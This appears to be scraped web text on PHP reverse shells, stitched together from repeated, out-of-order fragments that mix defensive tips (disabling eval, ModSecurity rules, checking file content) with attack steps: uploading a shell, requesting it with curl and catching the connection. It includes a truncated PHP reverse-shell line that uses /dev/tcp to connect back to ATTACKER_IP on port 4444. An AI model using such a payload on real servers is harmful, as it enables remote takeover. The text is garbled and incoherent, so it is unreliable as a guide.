Many obfuscated shells use eval() to decode payloads. Disable eval() via Suhosin or OpCache hardening if possible.
Navigate to the location where the file was uploaded using a browser or curl : curl http://target-server.com Use code with caution. Step 4: Catch the Shell
A script executed on the target server connects back to the listener's IP address and hands over a command-line interface (CLI) session. Reverse Shell Php
Here's a basic example of a PHP reverse shell script:
Access the uploaded script through a web browser or use a command‑line tool like curl : Many obfuscated shells use eval() to decode payloads
ModSecurity rules can catch the pattern:
Check the actual content of the file, not just the user-supplied extension. Step 4: Catch the Shell A script executed
& /dev/tcp/ATTACKER_IP/4444 0>&1"); ?> Use code with caution.
This approach is highly effective because most corporate firewalls strictly filter incoming traffic but are much more permissive with outgoing traffic. In web application security, PHP is one of the most common vectors for executing reverse shells due to its widespread deployment on web servers. How a PHP Reverse Shell Works